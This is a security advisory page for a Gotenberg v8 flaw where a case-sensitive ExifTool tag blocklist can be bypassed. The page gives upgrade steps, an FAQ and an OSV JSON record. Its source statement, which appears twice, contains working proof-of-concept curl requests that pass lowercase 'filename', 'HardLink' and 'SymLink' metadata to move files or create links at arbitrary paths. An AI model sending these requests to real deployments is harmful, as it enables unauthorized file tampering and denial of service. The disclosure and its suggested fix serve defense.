GHSA-qmwh-9m9c-h36m: Github.com/gotenberg/gotenberg/v8 Case-insensitive Bypass And Missing HardLink/SymLink Vulnerability

HIGH
CWE-73 CWE-178
Published
Advisory Summary

GHSA-qmwh-9m9c-h36m is a HIGH case-insensitive bypass and missing hardlink/symlink vulnerability (CWE-73: External Control of File Name or Path) affecting Github.com/gotenberg/gotenberg/v8 libraries in the Go ecosystem. The issue involves case-insensitive bypass and missing hardlink/symlink tags. Remediation is available by upgrading affected packages to version 8.30.0.

GHSA-qmwh-9m9c-h36m at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-qmwh-9m9c-h36m
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Github.com/gotenberg/gotenberg/v8
Package Ecosystem Go
Published Date
Last Updated

How to Fix GHSA-qmwh-9m9c-h36m

To remediate this vulnerability, upgrade all affected Github.com/gotenberg/gotenberg/v8 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/gotenberg/gotenberg/v8 fixed: 8.30.0
Upgrade github.com/gotenberg/gotenberg/v8 to 8.30.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/gotenberg/gotenberg/v8

How to Check if You Are Affected

To determine whether your application is affected by GHSA-qmwh-9m9c-h36m, inspect your project dependencies for Github.com/gotenberg/gotenberg/v8:

inspect dependencies for github.com/gotenberg/gotenberg/v8

Analyze the terminal output to locate any version of Github.com/gotenberg/gotenberg/v8 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.30.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Github.com/gotenberg/gotenberg/v8, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely. Confirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API. ## Root Cause `pkg/modules/exiftool/exiftool.go` lines 231-237: dangerousTags := []string{ "FileName", // Writing this triggers a file rename in ExifTool "Directory", // Writing this triggers a file move in ExifTool } for _, tag := range dangerousTags { delete(metadata, tag) } Go's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `"FileName"` and `"Directory"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically. The go-exiftool library passes tag names directly to ExifTool's stdin at line 258: fmt.Fprintln(e.stdin, "-"+k+"="+str) So `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`. The blocklist also omits two dangerous ExifTool pseudo-tags: - `HardLink`: creates a hard link to the file at the specified path - `SymLink`: creates a symbolic link to the file at the specified path ## PoC All three vectors confirmed against a running Gotenberg v8.29.1 Docker container. **Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):** curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F files=@sample.pdf \ -F 'metadata={"filename": "/tmp/evil_bypass.pdf"}' **HardLink (hard link created at /tmp/hardlink_bypass.pdf):** curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F files=@sample.pdf \ -F 'metadata={"HardLink": "/tmp/hardlink_bypass.pdf"}' **SymLink (symbolic link created at /tmp/symlink_bypass.pdf):** curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F files=@sample.pdf \ -F 'metadata={"SymLink": "/tmp/symlink_bypass.pdf"}' Verification inside the container: $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf Also confirmed ExifTool case-insensitivity directly: exiftool -filename=bypassed.pdf test.pdf # Works identically to -FileName= ## Impact An attacker with access to the Gotenberg API (unauthenticated by default) can: 1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory` 2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup 3. Create symbolic links at arbitrary paths via `SymLink` In containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services. ## Suggested Fix Use case-insensitive comparison and expand the blocklist: dangerousTags := []string{ "FileName", "Directory", "HardLink", "SymLink", } for key := range metadata { for _, tag := range dangerousTags { if strings.EqualFold(key, tag) { delete(metadata, key) } } }

GHSA-qmwh-9m9c-h36m Affected Github.com/gotenberg/gotenberg/v8 Versions

1 component(s)
Fixed Versions:
8.30.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/gotenberg/gotenberg/v8
Go
< 8.30.0
8.30.0

References

Frequently Asked Questions

What is GHSA-qmwh-9m9c-h36m?
GHSA-qmwh-9m9c-h36m is a security vulnerability in Github.com/gotenberg/gotenberg/v8 involving case-insensitive bypass and missing HardLink/SymLink tags under CWE-73: External Control of File Name or Path.
Which Github.com/gotenberg/gotenberg/v8 versions are affected?
Affected versions include releases prior to 8.30.0 across affected packages: github.com/gotenberg/gotenberg/v8.
What version fixes GHSA-qmwh-9m9c-h36m?
Upgrading to 8.30.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/gotenberg/gotenberg/v8 affected?
Yes, github.com/gotenberg/gotenberg/v8 is affected in releases prior to 8.30.0. Upgrade your dependency to 8.30.0 or later.
What CWE is associated with GHSA-qmwh-9m9c-h36m?
GHSA-qmwh-9m9c-h36m is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check Go dependencies for GHSA-qmwh-9m9c-h36m?
Run the dependency tree command: 'inspect dependencies for github.com/gotenberg/gotenberg/v8'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qmwh-9m9c-h36m",
  "modified" : "2026-04-07T18:16:22Z",
  "published" : "2026-04-07T18:16:22Z",
  "aliases" : [ ],
  "summary" : "Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags",
  "details" : "## Summary\n\nThe fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.\n\nConfirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` lines 231-237:\n\n    dangerousTags := []string{\n        \"FileName\",  // Writing this triggers a file rename in ExifTool\n        \"Directory\", // Writing this triggers a file move in ExifTool\n    }\n    for _, tag := range dangerousTags {\n        delete(metadata, tag)\n    }\n\nGo's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `\"FileName\"` and `\"Directory\"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.\n\nThe go-exiftool library passes tag names directly to ExifTool's stdin at line 258:\n\n    fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n\nSo `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.\n\nThe blocklist also omits two dangerous ExifTool pseudo-tags:\n- `HardLink`: creates a hard link to the file at the specified path\n- `SymLink`: creates a symbolic link to the file at the specified path\n\n## PoC\n\nAll three vectors confirmed against a running Gotenberg v8.29.1 Docker container.\n\n**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"filename\": \"/tmp/evil_bypass.pdf\"}'\n\n**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"HardLink\": \"/tmp/hardlink_bypass.pdf\"}'\n\n**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"SymLink\": \"/tmp/symlink_bypass.pdf\"}'\n\nVerification inside the container:\n\n    $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf\n    lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -> /tmp/.../source.pdf\n\nAlso confirmed ExifTool case-insensitivity directly:\n\n    exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=\n\n## Impact\n\nAn attacker with access to the Gotenberg API (unauthenticated by default) can:\n\n1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`\n2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup\n3. Create symbolic links at arbitrary paths via `SymLink`\n\nIn containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.\n\n## Suggested Fix\n\nUse case-insensitive comparison and expand the blocklist:\n\n    dangerousTags := []string{\n        \"FileName\",\n        \"Directory\",\n        \"HardLink\",\n        \"SymLink\",\n    }\n    for key := range metadata {\n        for _, tag := range dangerousTags {\n            if strings.EqualFold(key, tag) {\n                delete(metadata, key)\n            }\n        }\n    }",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotenberg/gotenberg/v8"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.30.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.29.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/commit/15050a311b73d76d8b9223bafe7fa7ba71240011"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gotenberg/gotenberg"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-178", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-07T18:16:22Z",
    "nvd_published_at" : null
  }
}